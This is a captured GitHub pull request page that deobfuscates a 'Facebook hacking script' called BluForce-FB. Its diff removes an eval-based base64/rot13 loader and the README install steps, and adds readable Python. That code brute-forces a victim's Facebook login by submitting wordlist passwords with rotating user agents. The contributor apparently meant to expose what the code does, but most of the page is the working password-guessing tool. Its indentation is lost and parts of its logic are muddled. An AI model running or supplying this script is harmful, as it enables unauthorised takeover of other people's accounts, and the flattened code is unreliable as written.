Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Deobfuscated #13

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
29 changes: 2 additions & 27 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,30 +1,5 @@
# BluForce-FB
The real code behind a "facebook hacking script". It popped up on my github homepage and the code was spooky so I decided to figure out what was really going on....

Brute Force Attack on Facebook Accounts
----------------------------
Note: EMAIL = ID = PHONE
----------------------------
--------------------------------------------------------------
what is my Facebook ID : https://es.piliapp.com/facebook/id/
--------------------------------------------------------------

<h3> Mode Of Execution: </h3>

* apt-get install python2

* apt-get install git

* git clone https://github.com/AngelSecurityTeam/BluForce-FB

* cd BluForce-FB

* pip2 install mechanize

* python2 bluforcefb.py

<img src="https://github.com/AngelSecurityTeam/BluForce-FB/blob/master/foto_blueforce-fb.png">

<h3> Paypal donations: </h3>

* https://www.paypal.me/AngelSecurityTeam

This code is stupid
74 changes: 66 additions & 8 deletions bluforcefb.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,66 @@
import base64, codecs
magic = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMgLSotIGNvZGluZzogVVRGLTggLSotCgkKCQppbXBvcnQgb3Msc3lzLG1lY2hhbml6ZSxjb29raWVsaWIscmFuZG9tLHRpbWUKCnByaW50ICIiIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIApcMDMzWzA7MzRt4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKVlyAgICAg4paI4paI4pWXICAg4paI4paI4pWX4paI4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilojilZcgIOKWiOKWiOKWiOKWiOKWiOKWiOKVl+KWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlyAgICDilojilojilojilojilojilojilojilZfilojilojilojilojilojilojilZcgCuKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVl+KWiOKWiOKVkSAgICAg4paI4paI4pWRICAg4paI4paI4pWR4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWd4paI4paI4pWU4pWQ4pWQ4pWQ4paI4paI4pWX4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWd4paI4paI4pWU4pWQ4pWQ4pWQ4pWQ4pWdICAgIOKWiOKWiOKVlOKVkOKVkOKVkOKVkOKVneKWiOKWiOKVlOKVkOKVkOKWiOKWiOKVlwrilojilojilojilojilojilojilZTilZ3ilojilojilZEgICAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkeKWiOKWiOKWiOKWiOKWiOKVlyAg4paI4paI4pWRICAg4paI4paI4pWR4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4pWRICAgICDilojilojilojilojilojilZcgICAgICDilojilojilojilojilojilZcgIOKWiOKWiOKWiOKWiOKWiOKWiOKVlOKVnQpcMDMzWzA7MW3ilojilojilZTilZDilZDilojilojilZfilojilojilZEgICAgIOKWiOKWiOKVkSAgIOKWiOKWiOKVkeKWiOKWiOKVlOKVkOKVkOKVnSAg4paI4paI4pWRICAg4paI4paI4pWR4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWRICAgICDilojilojilZTilZDilZDilZ0gICAgICDilojilojilZ'
love = 'GvyMQvyMQvyM0tVBXJvBXJvBXIyBXIxBXIxBXJvBXJvBXIyjevybwvybwvybwvybwvybwvybwvyMGvyM3vybwvybwvybwvybwvybwvybwvybwvyMsvyMevybwvybwvybwvybwvybwvybwvyMGvyM3vybwvybwvyMRtVPNtVBXIzhXJvBXJvBXJvBXJvBXJvBXJvBXIyBXIarXJv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PNtVPNtVPNtVPNtVPNtVPNtpUWcoaDbVykhHTSmp3qipzDtEz91ozDtByjjZmAoZmEgVUg9Vv5zo3WgLKDbpTSmp3qipzDcXFNXVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtp3ymYzI4nKDbZFxXVPNtVPNtVPNtVPNtVPNtVPNtVPNtVPNtPzEyMvOcozywnJ8lXPx6PvNtVPNtVPNtM2kiLzSfVUOup3A3o3WxPvNtVPNtVPNtpTSmp3qipzDlVQ0to3OyovuxnJZfVaVvXDbtVPNtVPNtVTMipvOjLKAmq29lMPOcovOjLKAmq29lMQV6PvNtVPNtVPNtVPNtVPNtVPOjLKAmq29lMQVtCFOjLKAmq29lMP5lMKOfLJAyXPWpovVfVvVcPvNtVPNtVPNtVPNtVPNtVPOvqKAwLKVbpTSmp3qipzDcPzEyMvOcozywnJ8bXGbXPvNtVPNtVPNtMTywZvN9VT9jMJ4bMTywYPWlVvxXVPNtVPNtVPOxnJZlVQ0tMTywZv5lMJSxoTyhMKZbXDccMvOsK25uoJIsKlN9CFNaK19gLJyhK18aBtbtoJScovtcPt=='
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))
#!/usr/bin/env python
# -*- coding: UTF-8 -*-


import os,sys,mechanize,cookielib,random,time

print """

\033[0;34m██████╗ ██╗ ██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗███████╗ ███████╗██████╗
██╔══██╗██║ ██║ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝ ██╔════╝██╔══██╗
██████╔╝██║ ██║ ██║█████╗ ██║ ██║██████╔╝██║ █████╗ █████╗ ██████╔╝
\033[0;1m██╔══██╗██║ ██║ ██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██╔══╝ ██╔══██╗
██████╔╝███████╗╚██████╔╝██║ ╚██████╔╝██║ ██║╚██████╗███████╗ ██║ ██████╔╝
╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═════╝ V2.0
\033[0;34m Brute Force Attack on Facebook Accounts \033[0;1m | AngelSecurityTeam\033[0;1m |
"""
email = raw_input("Email : ")
dic = raw_input("\nWordlist : ")
login = 'https://www.facebook.com/login.php?login_attempt=1'
useragents = [('Mozilla/5.0 (X11; Linux i686; rv:64.0) Gecko/20100101 Firefox/64.0',"Mozilla/5.0 (X11; Linux i586; rv:63.0) Gecko/20100101 Firefox/63.0"," Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.10; rv:62.0) Gecko/20100101 Firefox/62.0"," Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.13; ko; rv:1.9.1b2) Gecko/20081201 Firefox/60.0","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/58.0","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/51.0","")]

def main():
global br
br = mechanize.Browser()
cj = cookielib.LWPCookieJar()
br.set_handle_robots(False)
br.set_handle_redirect(True)
br.set_cookiejar(cj)
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
inicio()
inicio2()
print("\nPossible Password Found : \033[34m {}".format(password))
print("\n\033[0;1mPassword Not Found")
time.sleep(1)



def buscar(password):


print("\ntesting password - {}".format(password))
br.addheaders = [('User-agent', random.choice(useragents))]
site = br.open(login)
br.select_form(nr = 0)
br.form['email'] = email
br.form['pass'] = password
sub = br.submit()
log = sub.geturl()
if log != login and (not 'login_attempt' in log):
print("\nPassword Found :\033[34m {}".format(password))
sys.exit(1)

def inicio2():
global password
password2 = open(dic,"r")
for password in password2:
password2 = password.replace("\n","")
buscar(password)
def inicio():

dic2 = open(dic,"r")
dic2 = dic2.readlines()
if __name__ == '__main__':
main()